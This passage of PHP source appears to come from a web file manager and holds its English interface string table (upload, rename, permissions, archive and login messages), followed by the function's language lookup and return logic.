    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['RememberMe']     = 'Remember Me';            $tr['en']['Actions']            = 'Actions';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';
    $tr['en']['Folder is empty']    = 'Folder is empty';    $tr['en']['PartitionSize']      = 'Partition size';
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Full size']      = 'Full size';              $tr['en']['Help']               = 'Help';
    $tr['en']['Free of']        = 'Free of';                $tr['en']['Preview']            = 'Preview';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';
    $tr['en']['FreeOf']         = 'free of';                $tr['en']['CalculateFolderSize']= 'Calculate folder size';
    $tr['en']['ProcessID']      = 'Process ID';             $tr['en']['Created']    = 'Created';
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in'; 
    $tr['en']['Check Latest Version'] = 'Check Latest Version';$tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    
    // new - novos
    
    $tr['en']['Advanced Search']    = 'Advanced Search';    $tr['en']['Error while copying fro']    = 'Error while copying fro';
    $tr['en']['Nothing selected']   = 'Nothing selected';   $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
    $tr['en']['Renamed from']       = 'Renamed from';       $tr['en']['Archive not unpacked']       = 'Archive not unpacked';
    $tr['en']['Deleted']            = 'Deleted';            $tr['en']['Archive not created']        = 'Archive not created';        
    $tr['en']['Copied from']        = 'Copied from';        $tr['en']['Permissions changed']        = 'Permissions changed';
    $tr['en']['to']                 = 'to';                 $tr['en']['Saved Successfully']         = 'Saved Successfully';
    $tr['en']['not found!']         = 'not found!';         $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
    $tr['en']['Archive']            = 'Archive';            $tr['en']['Permissions not changed']    = 'Permissions not changed';         
    $tr['en']['Select folder']      = 'Select folder';      $tr['en']['Source path not defined']    = 'Source path not defined';
    $tr['en']['already exists']     = 'already exists';     $tr['en']['Error while moving from']    = 'Error while moving from';
    $tr['en']['Create archive?']    = 'Create archive?';    $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
    $tr['en']['Archive unpacked']   = 'Archive unpacked';   $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
    $tr['en']['Root path']          = 'Root path';          $tr['en']['Error while renaming from']  = 'Error while renaming from';
    $tr['en']['File not found']     = 'File not found';     $tr['en']['Error while deleting items'] = 'Error while deleting items';   
    $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
    $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
    $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
    $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';
    
    $tr['en']['Moved from']                 = 'Moved from'; 

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
    else return "$txt";
}

?>